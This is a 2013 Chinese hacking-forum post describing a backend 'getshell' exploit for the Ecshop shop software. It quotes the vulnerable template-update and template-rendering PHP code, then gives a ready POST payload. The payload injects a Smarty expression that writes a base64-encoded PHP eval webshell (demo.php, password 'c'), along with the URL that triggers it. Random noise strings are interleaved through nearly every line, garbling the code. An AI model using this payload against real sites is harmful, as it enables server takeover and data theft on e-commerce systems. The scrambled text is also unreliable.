找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3002|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
& U' V3 E# ^# a  {. Y; @' D$ ^1 \' b" S! a0 f1 c
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了1 P' ~* G" c6 N* L" V5 z9 t
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码7 o' \8 U% C. p% x1 t* ]" r, w
admin/template.php
! w, _& q) l/ f+ x, U
' f1 i1 D8 n6 I" U! ~! H1 if ($_REQUEST['act'] == 'update_library')
9 r5 {( h. i# T' D) m. a: O
7 u( T% j6 I$ M9 k( i2   4 A. u3 S  u* F, j; s7 g

3 [5 p  C* E# I% I; s8 K3 {
* U+ P! a1 f" ~- p" k- S7 A1 J; R, E* x* M7 d& Y
4     check_authz_json('library_manage'); 1 w2 C. o0 a, Q* Q
: \& k. P$ J) L6 y" C
5   4 N3 f6 f. n. `. L5 q! C

4 S* |4 p0 p) C. X- }* \: C; u! ^6     $html = stripslashes(json_str_iconv($_POST['html'])); ( q5 w) O$ Y- g) X$ x  A% o6 A4 \

( K* k4 y# k* t3 V' w* c- a7   % b$ g& w+ |* L. v

8 a; a5 n3 w* `9 w7 l9 G5 ^% C( {8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 3 K  h2 ^" ]# _8 L  P

; K0 T+ m9 j. `9   1 B2 V) W1 K" _
+ W+ h' F" t3 S2 z
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
! A! G. |  J  X$ d
  O6 ?' q  `: s) T- L3 t11   
8 K2 b2 {8 y7 H* I$ u/ Y' A2 S0 }, s8 e
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); $ d1 C9 r2 F5 k
# l) M! F8 k& q  d
13   4 R$ \: Z3 o$ A" X
! {4 C$ @6 L8 J1 L, ^- B& Z$ k
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: \( O0 _6 @, T4 E, t# C: t
! d" [( x* m2 }2 Q15     {
5 R( {% w- Y$ R/ _/ D$ g
, V0 m; t2 T3 q" M4 P3 D16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ! \( m: t$ @1 S9 m# D5 |1 W0 o2 H6 Z
; }' b# h' o  B0 o- _9 E
17         make_json_result('', $_LANG['update_lib_success']);
; P- K8 }- {4 Z3 B" _
1 w8 k0 a' X5 q/ V5 t5 h" [18     } - N% _$ ?1 D7 Y+ g
# ~! Z5 M% e+ c# C, _- U/ D
19     else
/ [% N" `# e- t1 _7 T/ L9 W$ y9 W4 x# g2 V
20     {
7 d+ i  a5 g" ^% a3 t5 C' `' j
$ C! e: i; i: s! \6 v: I5 g" d! u% f5 g21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ; Y) c# N6 l4 c# |9 h
4 v' o- n: ~$ a, e( T
22     }
4 |6 E7 p) P3 L) C) Y( g& B/ }7 c/ b  T
23 }
# C# F( t, n1 ?+ k% W
! X3 |5 E  h: D9 a) m' r8 M那么找个比较方便调用了模板的文件
( r7 ^9 {0 R% M8 f3 Mindex.php
+ \1 ]2 L5 E. m9 R! e
+ V! a( ]+ V& ~7 {0 {4 B+ ^1 if ($act == 'cat_rec')
% M9 E* R; C+ D# c1 L
' b# ^4 K5 ^- ~; j9 V/ Z2   
: f' Z  u+ l. k1 f
  A3 \( t' q% A, W& b* z2 u3 {
# A) t! j' m& {2 G% g' K; f6 o4 v. O/ z2 ]) S' f+ X
4   # Y6 G! X# l7 z. [; T8 V9 ~
* ~! J* ?% K, S
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
9 h/ B- N$ ]5 |" [# Q3 C
" d) V8 P1 G7 L% _7 R6   
7 p8 `" u3 _! m6 Y
, w( K# n: B) ]/ ~) s- j! [7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; $ p$ M' w9 }& H( d& n; b& Y6 o% y& d
0 d0 W7 M6 }& u$ L. F
8   1 `0 H, K. d* \' N/ K1 N0 }

" l0 H; O  ~8 C: M9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';   w2 ~% ?& @4 J$ @

6 O8 D5 ?3 U6 d" c* L7 E5 t/ D10   
0 q$ B/ k  o/ O6 I( r; s: X  f) R" k2 |
' G1 {3 D- B, l11     include_once('includes/cls_json.php'); 6 K, h+ E' \! l& K. f  G
/ g! N9 J1 X+ i
12   
/ E0 n2 x5 L9 ?" V  Z& {; f* P  I8 m7 _. V6 P$ R& H9 _9 J
13     $json = new JSON; 4 L; D: ]6 Z6 Q# v
7 \1 P$ }% G3 I) `
14   / W- p5 ?' o5 N2 o

. l* i2 T' }8 m+ G0 w, b3 x15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
0 i0 N4 c6 @- P1 ~( w; Z, B2 e% q3 k, r# D3 f- u/ X7 d
16   8 B+ [  N5 B4 G

* C1 z/ g! `; p# _) A# H" b17     $children = get_children($cat_id);
5 z8 j4 S& \, U  Z- R( H' N) o( b: C% j) \
18   
# q( o" I; o$ H: O3 O$ o
0 I+ Y- \$ B. @2 j* N19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 . s! I2 p4 |& t7 B9 N
6 R: c* a& h& |9 ^
20   + _9 r! i2 k8 G! u* N' Z! t% S8 u

! r  K1 @0 ?: Y& z3 W21     $smarty->assign('cat_rec_sign', 1);
/ y8 b. L# u1 W" i% |+ X4 ^& G; i0 }
! x% a3 L% [9 i6 D" C7 W' o22   3 a- u9 ~0 g& Q9 U

' w2 W( K" v0 l& P23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 1 V. E% g9 Z- W& u9 y- M. ~1 L( z
: U% F: }" z2 [7 y& \7 a1 A
24   
( h+ p" J7 _; W' V. L" l6 G& G2 U$ C2 n0 l6 M# S/ @. E6 N
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ' m2 F: k, _* B) J" u

( f% S) D! H7 j7 |26   
4 m, H  c$ d. T3 K) Z' J( T$ K; [8 x  t
27         echo $rec_array[$rec_type];
$ n& g" r: |" Y& y
# m! ~# x$ \5 F4 W0 ^6 J: p0 i28   6 y9 E$ K9 Y+ [2 N7 I  V
1 N5 u& z1 b; e
29     die($json->encode($result));
5 r, v$ A5 ?& X6 l( c/ R# s; v& ^8 F3 F7 }
30   3 r4 S7 H- z' T  Y

! @. }- _8 b7 I4 h  ^8 M31 } / f  g" N4 y( K9 a

& X  v) G4 m0 g$ S9 P& D) D3 _那么就有利用方法了; t7 _: a- ?/ j2 h9 T' h; I
post包到http://localhost/ec/admin/template.php?act=update_library  r2 p0 o, E9 U3 ]' @
Post内容:% q7 W7 }. z, o$ }

4 }7 o. A  ^7 {1 ?, I! E1 a( }: S! q​
+ Z  A' G( Q; {& v& ]' ?, K1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} & U, ?( |. y1 d6 L/ D; h! k: d# o

7 f# s6 z- h1 u然后访问http://localhost/ec/index.php?act=cat_rec9 H% b2 M. ?% c* d0 A, j5 q1 Y( {' p

/ S' g  u8 U0 g- f4 ?. m; {: n. gshel地址:http://localhost/ec/demo.php0 {  g" P9 g6 i2 t# D
密码c6 [0 X/ j- a/ K% b
+ K4 {9 c  V" m! g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表